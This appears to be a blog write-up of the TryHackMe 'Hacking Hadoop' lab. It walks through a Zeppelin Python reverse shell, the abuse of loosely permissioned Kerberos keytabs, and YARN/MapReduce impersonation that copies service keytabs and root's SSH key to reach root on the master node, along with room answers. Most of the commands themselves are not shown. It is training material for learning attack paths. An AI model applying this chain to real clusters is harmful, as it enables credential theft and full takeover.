Hacking Hadoop
Explanation on enumerating and exploiting Hadoop environment
In this blog we will understand how the Hadoop architecture can be exploited with an example of a TryHackMe room called Hacking Hadoop.
Connecting to the Datalake
This lab simulates a network through the use of Docker. To access this network, you will first have to configure your routing to enable you to see the network.
The lab lives in the 172.23.0.0/24 range. You will have to configure this route to the Hadoop network. First connect to the THM using the normal VPN file then after that download the openvpn file in the first task section, it will give us access to the internal Hadoop network.Then start the network, wait for 10 minutes after the lab has started for the cluster to become fully active.
The network infrastructure is as follows -
172.23.0.3 - This is your primary target, an edge node in the Hadoop network.
172.23.0.4 - In Hadoop terms, this is called the "master" node. Your final flag is here and root access signifies full Hadoop compromise.
172.23.0.2 - This is the simulated Kerberos server. This server is out of scope for this challenge.
After that we need to add the target ip address to the hosts file
Once this is done and you have given the lab some time to boot. After that try pinging 172.23.0.3 to see if the networking is working and responding. In this blog we will learn to compromising a datalake. Most large organisations out there have at least one datalake, some even more, and the most widely used datalake technology out there is Hadoop.
Hadoop Terminology
There are some key terms used in Hadoop that you should know to make this hacking journey easier. It should be noted that Hadoop still makes use of the terms master and slave, since primary and secondary already have specific meanings in the context of Hadoop.
Cluster - Refers to all the systems that together make the datalake.
Node - A single host or computer in the Hadoop cluster.
NameNode - A node that is responsible for keeping the directory tree of the Hadoop file system.
DataNode - A slave node that stores files according to the instructions of a NameNode.
Primary NameNode - The current active node responsible for keeping the directory structure.
Secondary NameNode - The backup node which will perform a seamless takeover of the directory structure should the Primary NameNode become unresponsive. There can be more than one Secondary NameNode in a cluster, but only one Primary active at any given time.
Master Node - Any node that is executing a Hadoop "management" application such as HDFS Manager or YARN Resource Manager.
Slave Node - Any node that runs a Hadoop "worker" application such as HDFS or MapReduce. It should be noted that a single node can be both a Master and Slave node at the same time.
Edge Node - Any node that is hosting a Hadoop "user" application such as Zeppelin or Hue. These are applications that users can use to perform processing on the data stored in the datalake.
Kerberised - The term given for a datalake that has security enabled through Kerberos.
What is Hadoop ?
Hadoop is a datalake technology developed by Apache. It is a collection of open-source applications and services that can utilise a network of computers to solve large and complex problems. Hadoop in its simplest form has two main functions namely distributed storage and distributed processing. In essence, it allows a network of computers to become one very large computer with a massive hard drive and a ton of CPU power. How big are we talking? Well, let's just put it this way, most organisations have clusters of about 200 nodes each with about 25 TeraBytes of storage equalling a staggering 5 PetaBytes of storage and roughly 1700 CPUs. To ensure network speed is not a bottleneck, usually, these nodes are connected to each other through multiple fibre lines. The world's largest cluster? 2000+ nodes with 21 PB of storage capacity and 22000+ CPUs. Below is an example architecture of a Hadoop ecosystem.
There are quite a number of different Apache Hadoop applications and services. These are some of the most common ones:
HDFS - Hadoop Distributed File System is the primary storage application for unstructured data such as files
Hive - Hive is the primary storage application for structured data. Think of it as a massive database.
YARN - Main resource manager application of Hadoop, used to schedule jobs in the cluster
MapReduce - Application executor of Hadoop to process vast amounts of data. It consists of a Map procedure, which performs filtering and sorting, and a reduce method, which performs a summary operation.
HUE - A user application that provides a GUI for HDFS and Hive.
Zookeeper - Provides operational services for the cluster to set the configuration of the cluster in question.
Spark - Engine for large-scale data processing.
Kafka - A message broker to build pipelines for real-time data processing.
Ranger - Used for the configuration of privilege access control over the resources in the datalake.
Zeppelin - A web-based notebook application for interactive data analytics.
All these applications are open-source, you can download the source code and spin it up in your own local machine, In this blog we are focusing on the primary applications such as HDFS and YARN. For many years security wasn't a thing in Hadoop. But over the years improvements are made. The two biggest security implementation are the authentication through Kerberos and PAM through optional such as Roger. In this blog, we will be looking at a Kerberised datalake, so there is some security, but common misconfigurations have led to this datalake being insecure.
The answers to the question in this section of the room can be found easily on the google !
All aboard the Hindenburg
Begin the recon on the ip - 172.23.0.3
There are many ports open and services running. Visiting the web port 8080
The webpage is running Zeppelin that is used as web-notebook for data analytics. Now answering the questions in the section. Read the following link to get answers
https://zeppelin.apache.org/docs/0.6.2/security/shiroauthentication.html
1. What edge node service is running on this host?
Zeppelin
2. What file is responsible for the authentication configuration for this service?
shiro.ini
3. What is the username and password combination that gives you your initial entry?
user1:password2
4. Once authenticated, submit the flag that is hiding nicely in one of the notebooks.To get the flag authenticate with the credentials
Login
After that click on TestNode.
Got the first flag
Rocking it like Led
This application is a very popular Hadoop application. Similar to Jupyter notebooks, it allows data analysts to quickly writeup scripts that can pull, process, and display analytics from the data stored in the cluster. It does this by making use of interpreters, of which there are many to choose from. However, not all interpreters are equal. Similarly, not all user roles are equal. Task in the section is to compromise the target ip and get the flag inside the home directory of the user.
Answering the questions
What is the password of the user allowed to interface with the interpreters and provided notebook?
From the previous TestNode, scroll down to see the password for user2
2. Which active interpreter can be used to execute code?
Python
3.What OS user does the application run as?
To know this we need to get a shell using the interpreter. First login to the user2 using the credentials we got.
Now we already know that the interpreter is running python. Using the below python reverse shell code, edit your machine ip and local port.
Start a listener on port 1234
Press Shift+Enter to execute the code. Check the listener
We got a reverse shell as user zp.
You can stabalize the reverse shell for better interactivity, tutorial here
4.What is the value of the flag found in the user's home directory (flag2.txt)?
The flag can be found on the home directory of user zp
Keeping tabs on all these keys
After getting a stable reverse shell we got the access to the endpoint machine. But we do not have access to datalake because of Kerberos authentication. In hadoop there are many services running and each of them requires Kerberos before they can perform any action. Simple answer to this is automation and it is called Kerberos Keytabs.
Keytabs are magical things. Think of them as a Kerberos Key. Essentially, you are storing all the information required (including the password) to authenticate in a file. Keytabs can be generated by interfacing with the Kerberos server and executing the following command.
The security of keytabs relies on restricting access to the associated keytab file. So file permissions should be used to protect the keytab file in question, similar to how SSH private keys are protected. However, by default, these keytab files do not inherit secure file permissions, especially during the initialisation phase when the datalake is created and these keys have to be distributed to each node in the cluster.
Which directory stores the keytabs for the Hadoop services?
Answer - /etc/security/keytabs
2. What is the keytab file's name associated with the compromised user?
Answer - zp.service.keytab
After finding the Keytabs, try to authenticate with Keberos and the keytab associated with our user. The following guide provides excellent assistance on using keytabs for authentication
3. What is the first principal stored in this keytab file?
The klist command can be used to gather information from a keytab, since cat'ing the keytab usually ends badly for your shell. We can use the following command to output the principals stored in the keytab file
Answer - zp.service.keytab
4. What is the full verbose command to authenticate with this keytab using the full file path?
The kinit command can be used to use a keytab, authenticate to the Kerberos server, and request a ticket. First navigate to /bin directory
The -V flag is optional but it is really recommended adding it for additional verbosity, this helps in debugging.
Answer - kinit zp/hadoop.docker.com@EXAMPLE.COM -k -V -t /etc/security/keytabs/zp.service.keytab
5. What is the value of the flag stored in the compromised user's HDFS home directory (flag3.txt)?
Now after authentication is completed, we can start to interface with the datalake. However we can notice that we don't have access to CLI tools associated with Hadoop. Because the compromised user does not have the correct environment setup. All the tools for Hadoop services are located at /usr/local/hadoop/bin . Navigate there first. We need to interact with the HDFS application. Refer the guide
https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-hdfs/HDFSCommands.html
The command that we are specifically interested in is the dfs command, which allows us to run file system commands on the datalake.
We can list the directories inside the datalake. There are two directories to be found. Navigating inside the /user directory and getting the flag
A great ball of YARN
After getting access to the datalake, we still have not performed privilege escalation. After authenticating to the datalake, things start to get interesting. You see, even though the datalake may look like a normal Unix file system, in terms of authentication and access control, things work a tad bit different when it comes to Hadoop. One key concept to understand is that your current OS user and your cluster user, DOES NOT have to correspond. Through Kerberos, the cluster will believe you are whoever you authenticate as, regardless of your actual OS user.
Often, the services in Hadoop has to perform impersonation to allow them to perform their duties. The HUE user may have to impersonate the HDFS user to create a new home directory. The Zeppelin user may have to impersonate the YARN user to schedule a job. YARN may impersonate the NodeManager to allocate processes to different nodes.
YARN may impersonate the NodeManager to allocate processes to different nodes. The secure way of configuring this is to copy keytabs and restrict them down with granular file permissions to only the services that require them. But lazy admins sometimes skips this crucial time because of the complexity and workload.
So what organisations usually do is they just chmod the hell (666) out of these keys until the services can impersonate as they deem fit. In our case, our organisation at least tried to perform some key segregation by using group permissions, but it is honestly not that much more secure.
What is the name of the service we will attempt to impersonate for privilege escalation?
Answer - YARN
2. What is the value of the flag in the impersonated user's HDFS home directory (flag4.txt)? Using the same techniques from the previous section we can get the flag from the HDFS home directory
Now we can use the principle above to authenticate to the kerberos server.
Using the hdfs binary to interact with the HDFS user.
3. What is the value of the flag in the impersonated user's OS home directory (flag5.txt)?
HDFS impersonation is cool and all because we can now access the home directories of other users, but from an OS perspective, we are still the low-privileged user. We need to find some way to abuse the permissions of this impersonated service to also become this user on an OS level. Enter MapReduce. Certain Hadoop services, our impersonated service being one of them, have the ability to ask the datalake to execute processes on their behalf. The interesting thing is, these jobs will be executed from the context of the user associated with the job. We can abuse this to perform RCERefer the below GitHub page to perform RCE.
First creating txt file.
Now execute the below command to read the flag for HDFS user and redirect the output to it to the /tmp directory. For clear explanation of the command refer the above post to understand the logic behind it.
Now the output the flag is redirected the random filename created in /tmp/flag. Check and read the flag.
Assistant to the regional Node
After impersonating there is one peculiar keytab remaining. This keytab belongs to the NodeManager service. This is not a service mentioned at the start since this is a service that you normally never interact with directly.
Essentially, behind the scenes, this service ensures that all nodes are up and running. If a node becomes unhealthy, the NodeManager will inform the relevant services like ResourceManager to distribute the load of that node onto others in order to improve the node's health or get it ready for retirement.
It is usually behind the scenes, as organisations usually make use of what's called Datalake management solutions. These are applications like Ambari or Cloudera manager. These applications provide a centralised platform that helps control, manage, and deploy your cluster. However, they are usually just wrapping the NodeManager and ResourceManager services.
With all of this being said, if you want to ever control the entire cluster, this would be the service to hunt for. We will impersonate the NodeManager service from both datalake and OS perspective.
What is the value of the flag associated with the NodeManager's HDFS home directory (flag6.txt)?
We will follow the same methodology as before to impersonate NodeManger but we as a low-privilege user do not have permission to use the NodeManager keytab. First creating a bash script that will copy the NodeManager keytab to /tmp directory and give the executable permission.
After this we will use the same command as before to run the evil.sh script that will do the work.
Now that we have access to NodeManager keytab. We will use to authenticate then impersonate it to read the flag.
2. What is the value of the flag associated with the NodeManager's OS home directory (flag7.txt)?
Using the same methodology to read the flag in the NodeManager's OS directory. Creating a bash script that will read the flag. Give the executable permissions to the scritp too.
Now execute the same command to impersonate, read the flag and redirect the output.
After this read the flag.
I❤️root
Now after impersonating every other user and services. It's time to target the root user. The methodology is same as above.
What is the value of the flag in the root user's home directory (flag8.txt)?
Like before creating a bash script that will copy the flag in root directory to tmp directory and give read permission to all users to read.
After this using the same command as above.
Then reading the flag.
2. What is the value of the flag in the root user's HDFS home directory (flag9.txt)? Now to get the root flag inside HDFS home directory, we need to impersonate the root user. Creating a bash script that will copy the root service keytab to the tmp directory. Give the executable permissions
Now execute the command to run the script.
After this use the root keytab to authenticate to Kerberos.
Now you can read the flag.
Surfing the datalake
Now after impersonating, we can actually gain root ssh access using the very same method.
What is the value of the flag in the root user's directory on the secondary cluster node (flag10.txt)?
Creating a bash script that will copy the root user ssh id_rsa to the /tmp directory. Also giving the executable permissions
First authenticate with the keytab for root user we got in the previous task.
Now use the command from before to execute the script.
Confirm the id_rsa we got.
We have the id-rsa for the root user on machine 172.23.0.4. Perform a nmap scan to find the ssh service running on non-default service.
The SSH service is running on port 2122. Now chmod 700 id_rsa at the end.
Login to the root user
We finally have the ssh access to the root user of the master node. Read the flag
Thank you for reading 👍
Last updated
